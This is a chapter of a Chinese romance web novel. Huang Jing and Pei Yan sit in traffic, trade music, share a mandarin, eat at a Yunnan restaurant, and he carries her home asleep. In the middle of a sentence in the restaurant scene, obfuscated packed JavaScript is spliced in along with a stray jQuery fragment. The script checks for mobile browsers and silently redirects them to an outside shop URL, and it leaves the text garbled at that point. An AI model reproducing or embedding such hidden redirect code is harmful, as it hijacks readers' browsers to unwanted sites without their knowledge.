“我想听音乐，你车能放歌吗？”黄晶自然的和裴砚聊起来，堵车有点烦，这时候放歌最好。
“能放。”裴砚趁红灯的间隙连上车载蓝牙，把手机递给她，“你自己选。”
黄晶接过手机，低头划了几下，然后停下来看了他一眼。“你歌单里怎么全是英文歌？这个叫什么？”她把屏幕转过来给他看，上面是他昨晚失眠时单曲循环的那首爵士乐。
“Chet Baker。”
“没听过。”黄晶收回手机继续往下划，一首一首地念着歌名，“这个呢？”
“Norah Jones。”
“也没听过。不过封面挺好看的。”黄晶在一首叫《Sunrise》的歌上点了播放，前奏的钢琴声从车厢音响里漫出来，慵懒的，带着点微微的沙哑。
黄晶靠在椅背上听了几句，然后摇了摇头，“太慢了，不适合堵车。堵车要放快歌，提神。你这里面没有五月天吗？”
“没有。”
“王力宏呢？”
“没有。”
“梁静茹？孙燕姿？林俊杰？”黄晶的语气越来越不可思议，像是发现了一个严重的产品缺陷。
“都没有。”
黄晶张了张嘴，用一种“这个仆人配置太低了我要给他升级系统”的眼神看着他。然后她从自己的手机上打开音乐软件，连上蓝牙，在搜索栏里输入“恋爱ing”。前奏的电吉他声炸出来，欢快的鼓点填满了整个车厢，她跟着哼了两句，然后转头看他。
“听过这首吗？”
“没有。”
“那你今天有耳福了。”黄晶把音量调大，整个人靠在椅背上，在副驾驶座上晃着脑袋。窗外是堵得水泄不通的四环路，尾灯连成一条红色的河，但车里是五月天，是她跟着哼的歌声，是她晃来晃去的马尾辫。
“陪你逛街逛成扁平足也没关系——”黄晶突然转头对他唱了这句，然后自己先笑了，“这句歌词写得太好了，扁平足，笑死我了！”
裴砚看着前方那个半天才挪一下的车屁股，又看了一眼副驾驶座上跟着节奏打拍子的她。他会记住这首歌，回去加到自己的歌单里。
趁等红灯的间隙，黄晶低头在手机屏幕上划了几下，嘴角已经翘起来了，还在努力压着。但裴砚从她肩膀微微抖动的幅度判断——她憋笑憋得很辛苦。
前奏响了。不是刚才那种轻快的吉他扫弦，是密集的战鼓和电子音效，像一支军队在耳机里列队踏步。然后王力宏的声音炸出来，中英文混杂，每一个字都踩在鼓点上，噼里啪啦，像在车厢里放了一把鞭炮。
黄晶终于憋不住了，跟着《火力全开》的前奏晃起脑袋，幅度比刚才大得多，晃得整张座椅都在微微震动。但她没看前方，她在看他——用一种“你快夸我选歌选得好”的眼神盯着他的侧脸。
裴砚目视前方，面无表情。但他的手指在方向盘上敲了一下，又敲了一下。
“怎么样？”黄晶凑过来一点，声音带着笑意，“提不提神？”
“提。”雨刷忽然动了一下，在干燥的挡风玻璃上吱嘎刮了两下。裴砚关掉它，动作有点急。
黄晶愣了一下，然后笑出声来，整个人往副驾驶座里缩，手捂着嘴，眼睛弯成两道缝。“你这么激动干嘛，”她笑着说，“又没有真的在打仗。”
裴砚没说话，但他的耳朵尖有点红。
黄晶从副驾驶座上侧过身，一只手撑着中控台，整个人的重心都往他那边倾斜，仰着头，盯着他的左耳。
“你耳朵好像有点点红诶。”她的声音压得很轻，但每个字里都藏着笑。黄晶的气息扫过他的耳廓，带着今天下午喝过的果汁的甜味。
裴砚目视前方，手指在方向盘上收紧。红灯还剩二十秒。
黄晶的目光从他的耳朵移到他的眼睛，又问了一句，更轻了，像是课堂上跟同桌说悄悄话：“你是不是害羞了？”
裴砚没说话。红灯还剩十秒。
黄晶满意地靠回副驾驶座，重新系好安全带，嘴角的弧度比车窗外的月亮还弯。
绿灯亮了，他踩油门的力道比平时重了一点，G-Class冲出去的时候发动机发出一声低沉的咆哮。
又一个红灯，黄晶从包里拿出耙耙柑，剥开，然后把第一瓣递到他嘴边，“尝尝，我最近买的，品质还可以，之前吃的几个都不酸。”
裴砚看了一眼她递到嘴边的耙耙柑，橘瓣上还带着白色的络，她没撕干净，就这么自然地递过来了。好像这件事她已经做过很多次——边开车边等红灯的间隙，剥个橘子，往旁边的人嘴里塞一瓣。
旁边的人，这个概念在裴砚脑子里晃了一下，然后他张开嘴，接住了那瓣橘子。很甜，汁水在舌尖炸开，带着一点凉意，不酸。
“怎么样？”黄晶看着他。
“甜。”
黄晶点头，吃了一瓣，“确实不错，这家店可以常买。”
两人就这样你一瓣我一瓣的分食那个耙耙柑。黄晶把最后一瓣橘子塞进嘴里，腮帮子鼓得像只松鼠，然后把完整的橘子皮放在中控台上。那皮被她剥得很完整，像一个被掏空了瓤的小灯笼，边缘还留着白色的络。
“车载香薰，纯天然的。”黄晶拍了拍手上沾的橘络，一副“你捡到宝了”的表情。裴砚看了一眼那团橘子皮，又看了一眼她。
他这辆G-Class的中控台上放过很多东西——拍卖会上拿回来的沉香木摆件，苏衍之从日本带回来的手工陶瓷小碟，大哥随手扔的雪茄剪。但从来没放过一团刚剥下来的橘子皮。她放得理所当然，好像橘子皮天生就该放在这里，和空调出风口、导航屏幕、电子表盘组成一个完整的驾驶生态系统。
红灯还有五秒。裴砚伸手把那团橘子皮拿起来，放在空调出风口前面。暖风一吹，车厢里弥漫开一股清甜的柑橘香。黄晶吸了吸鼻子，满意地点点头。“看，比那些化学香精好闻多了。以后吃完橘子皮都留着，攒够一盒还能晒陈皮。”
她说以后。裴砚的嘴角往上弯了弯，他自己大概没察觉，但黄晶看到了。
她又看了他一眼，然后心满意足地靠回副驾驶座上。四月傍晚的风灌进来，和柑橘味混在一起。
到地方停好车后，黄晶挽着裴砚胳膊和他一起往店里走，她边走边说，“饿死了饿死了，感觉我现在饿得能吃下两头牛。”
到了店里黄晶对前台说“两个人”，刚好有位置，他们被引着往座位走。两人坐在一起，黄晶已经把菜单往他这边偏了偏，但主要控制权还是在她手里，“你想吃什么？”
“你点，”他说，“我都可以。”
“行。来份烤鱼怎么样？”黄晶抬头看他，笔尖悬在点单栏上方，“你吃鱼吗？罗非鱼。”
“吃。”
“好。”黄晶在“香茅草烤罗非鱼”后面画了个勾，然后继续往下划。
“我想吃菠萝饭。这个茉莉花炒蛋也想尝尝，再来个小锅米线，可以吗？你看看你还想吃什么?”
“可以了，”他说，“先这些。”
黄晶看着裴砚，“那你有什么忌口吗？葱姜蒜香菜都吃吗？我不要葱。”
“都吃，”他说，“除了葱。”
“可以可以，喝的呢？是点这里的还是点外卖?”
“都行。”
“那就点这里的吧，我看看——”黄晶把菜单翻到饮品页，手指从密密麻麻的饮料名上一行一行划过去，“酸角汁、鲜榨橙汁、百香果绿茶……你想喝哪个？”
“酸角汁。”
“行，”她又在菜单上勾了一笔，“我喝百香果。百香果不加糖，烤鱼少放辣——你吃辣吗？”
“吃。”
“那就正常辣。茉莉花炒蛋不要葱，小锅米线——”她抬头看他，“小锅米线里一般有韭菜，你吃韭菜吗？”
“吃。”
“那就正常上。”黄晶合上菜单，举手招呼服务员。点完菜她把两人的碗筷从塑封膜里拆出来，用茶水涮了一遍，推到他面前——筷子是方头朝他的，和四天前在会所里一样。
“你经常这样？”裴砚忽然问。
“哪样？”
“请第一次见面的人吃饭。”他说，“包养。”
黄晶放下茶杯，很认真地回他，“你是第一个男生。”她说，“我之前没包养过别人。”
服务员端上酸角汁和百香果绿茶。黄晶把百香果那杯挪到自己面前，把酸角汁推给裴砚。“尝尝，云南特产。你要是觉得不好喝就给我，我跟你换。”
裴砚端起杯子喝了一口。酸甜的，带着一种从没尝过的果香，“还行。”
“还行就是不太行。”黄晶看着他的表情，把自己那杯百香果推过去，“给你换。”
“不用。”
“没事，我什么都喝。”黄晶说着已经把他的酸角汁端过来尝了一口，咂咂嘴，“我觉得这酸角汁还挺好喝的，比柠檬茶好喝呢。”黄晶低头又喝了一口，然后抬头看他，“我之前有个大学同学是云南的，她给我带过酸角糕，还挺好吃的，我还想再买呢。酸酸甜甜的，有点像山楂糕，但没有山楂那么酸。你吃过吗？”
“没有。”
“那你下次可以尝尝。网上应该有卖的。”她说着，又喝了一口酸角汁。
从头到尾，黄晶一直在念叨，话题从酸角糕跳到大学同学的家乡特产，又跳到另一种他同样没吃过的滇式月饼。她说自己其实不太喜欢甜食，但酸的可以，又说百香果不加糖就够甜了，这家店还算实在。
裴砚端着那杯被她换过来的百香果绿茶，喝了一口，很甜，没加糖也甜。然后他意识到——他们喝了同一杯饮料。不对，是她喝了他的，他喝了她的。而她似乎完全没注意到这件事，正在低头夹一筷子刚端上来的茉莉花炒蛋。
“这个好吃，”黄晶把炒蛋咽下去，眼睛亮了，“有茉莉花的香味，但又不冲。你尝尝。”说着用公筷给他夹了一筷子，放在他碗里。
裴砚低头吃了一口，蛋很嫩，茉莉花的香气很淡，在舌尖上绕了一下就散开了，像她刚才凑近他耳朵时呼出的那口气。
菠萝饭上了。黄晶脑袋凑到裴砚那边，她一只手挡在嘴边，像是在传递什么国家机密，眼睛亮晶晶的，瞳孔里倒映着桌上那盏吊灯。
“你说，这个菠萝是不是会一直回收利用？就是——我们吃完之后，他们把壳收回去，洗一洗，又盛下一份。”
裴砚低头看了一眼那份菠萝饭，半个菠萝挖空了瓤，填进金黄色的炒饭，饭粒间缀着虾仁、腰果和葡萄干，菠萝外皮还带着新鲜的绿色叶片，边缘切得整整齐齐，卖相很好。他还没想好怎么回答，她已经自顾自地推演下去了。
“你想啊，菠萝壳这么硬，又不会破，洗洗就跟新的一样。这家店一天卖几十份菠萝饭，总不能每天进几十个新鲜菠萝吧？菠萝还要挖瓤，多费劲。肯定是循环利用的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634925|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”她越说越觉得自己有道理。
“应该不会。”他说，“菠萝碗用一次就软了。而且——”裴砚指了指她刚舀了一勺的炒饭，“你吃之前没先拍照吗？”
黄晶低头看着那勺已经快送到嘴边的饭，愣了一下，然后赶紧把勺子放回去，掏出手机，“对哦，差点忘了。”她把手机举高，对着菠萝饭拍了张照，又把他的酸角汁挪到画面里当背景，调整角度，“你帮我把那个茉莉花炒蛋也挪过来。”
裴砚照做，她又把她的百香果茶放在左边，重新拍了一张，然后满意地低头选图。他继续吃她刚才舀出来、没来得及送进嘴里的那勺炒饭。
“呱——你怎么把我舀的吃了？”黄晶看着他，眼睛瞪得圆圆的，嘴微微嘟起来，表情介于“震惊”和“委屈”之间，像一只被抢了瓜子的小仓鼠。
裴砚愣了一下，低头看着自己手里空了的勺子，又看了一眼她那勺已经被他咽下去的炒饭。“凉了，”他说，“给你重新盛一勺。”裴砚重新拿起她的勺子，挖了一勺带虾仁和菠萝粒的炒饭，递到她嘴边。
黄晶眨眨眼，张嘴接了这勺饭，腮帮子鼓鼓地嚼着，含含糊糊地嘀咕了一句：“算你识相。”
黄晶放下筷子，用一种宣告战败的表情看着他，“我吃不下了。”
裴砚看着满桌剩菜。米线还剩半份，烤鱼只动了一半，菠萝饭还有小半只菠萝的量，茉莉花炒蛋倒是被挑得差不多了——她把蛋都挑完了，盘子里只剩几朵孤零零的茉莉花。
他看向她，黄晶靠在椅背上，右手搁在胃的位置，表情介于满足和难受之间，像一只吃饱了趴在窗台上晒太阳的猫，连尾巴都不想动。
“以后少点一个菜。”裴砚拿起筷子开始解决那条烤鱼。鱼已经有些凉了，但肉质还行，罗非鱼刺少，他剔得很快。
“那不行，”黄晶抱着百香果茶，理直气壮，“每样都想尝尝嘛。而且这不是有你呢嘛。”她说完又往前凑了凑，手肘撑着桌子看他吃。“好吃吧？这家店是不是还不错？”
“嗯。”裴砚把最后一块鱼肉从骨架上剔下来。
“以后可以常来，”她说，“下次点不一样的菜。今天这几个都试过了，下次可以试试他们的菌子火锅。我看隔壁桌点的，闻着好香。”黄晶已经把下次来吃什么想好了，完全不觉得带他再来有什么问题。
回去路上，黄晶靠在副驾驶座上，连打了三个哈欠。打完第三个的时候眼角挤出一点泪花，她用手背随便蹭了一下，然后继续盯着前方发呆，眼睛已经眯成两道缝了。
“困了？”裴砚发动车。
“嗯。”黄晶含糊地应了一声，脑袋往座椅头枕上蹭了蹭，找了个舒服的角度，“晕碳，吃饱了就困。本来想去超市的——算了，明天再说。”她说“明天再说”的时候眼睛已经闭上了。
车里还在放五月天，是她来的时候连上的蓝牙，播完《温柔》自动跳到了《突然好想你》。她没跟着唱，呼吸声渐渐变慢了。
裴砚把音量调低了两格，空调温度往上拧了半度，车开得比来的时候更稳。四环路上车已经少了，路灯的光一道一道从车窗上滑过去。
她睡着了——不是第一次了。上次她在他后座睡着，他不知道她住哪栋楼，在小区门口等了一个小时。这次他知道，甚至她家沙发上还有他刚放下的行李袋。
裴砚忽然想起她刚才在餐厅里说的话——你是我第一个男生。第一个被她包养的，第一个跟她签字盖章的，第一个被她带进出租屋的。也许也是第一个在她睡着时开车带她回家的人，但这个“也许”其实不对，她大概早就忘了第一次和第二次坐他车时也在后座睡着过。她不记得了，没关系，他记得。
车停在单元楼门口。裴砚熄了火，没急着下车。她还在睡，脑袋歪在座椅头枕上，嘴唇微张，呼吸又缓又长。安全带还系着，斜挎包搁在腿上，两只手松松地交叠在包上——和上次在他后座睡着时的姿势一模一样。
裴砚先下车，绕到副驾驶那边，拉开车门。四月末的夜风灌进来，她缩了一下肩膀，没醒。他弯腰替她解开安全带，一手穿过她的膝弯，一手托住她的后背，把她从座椅上捞起来。她很轻，比看起来轻。灰色针织衫的袖口蹭过他的手腕，黄晶的头靠在他肩窝里，呼吸扫过他的锁骨。
裴砚用脚把车门轻轻带上。上楼的时候，声控灯一层一层亮起来。她中途动了一下，手指攥住他外套的前襟，嘴里嘟嘟囔囔地说了句什么。裴砚没听清，低头靠近她的嘴唇。
“到了吗？”黄晶又说了一遍。
“快了。”
黄晶又把头埋回他肩窝里，继续睡。
六楼。裴砚从她包里摸出钥匙——钥匙环上挂着一个小小的塑料小猫，可能是买什么东西送的。开门，开灯，把她放在床上。黄晶的头发散在枕头上，洞洞鞋在脚上晃了两下，他弯腰替她脱了放在床边。然后他把沙发上自己的行李袋挪到地上，拉过那床空调被，盖在她身上。黄晶翻了个身，把被子卷进去，蜷成一团。
裴砚站在床边看了她几秒。她睡觉的样子很安静，和醒着的时候完全是两个人。他转身把她的钥匙放在鞋柜上的小盘子里，和那支芍药并排，然后关了灯。
裴砚拉半躺在沙发上，但沙发太短，脚踝搭在扶手上，膝盖以下悬空。好在黄晶的空调被够大，他从沙发靠背上扯下来一角，搭在身上。
黄晶翻了个身，被子被她卷走一半。他没拽回来。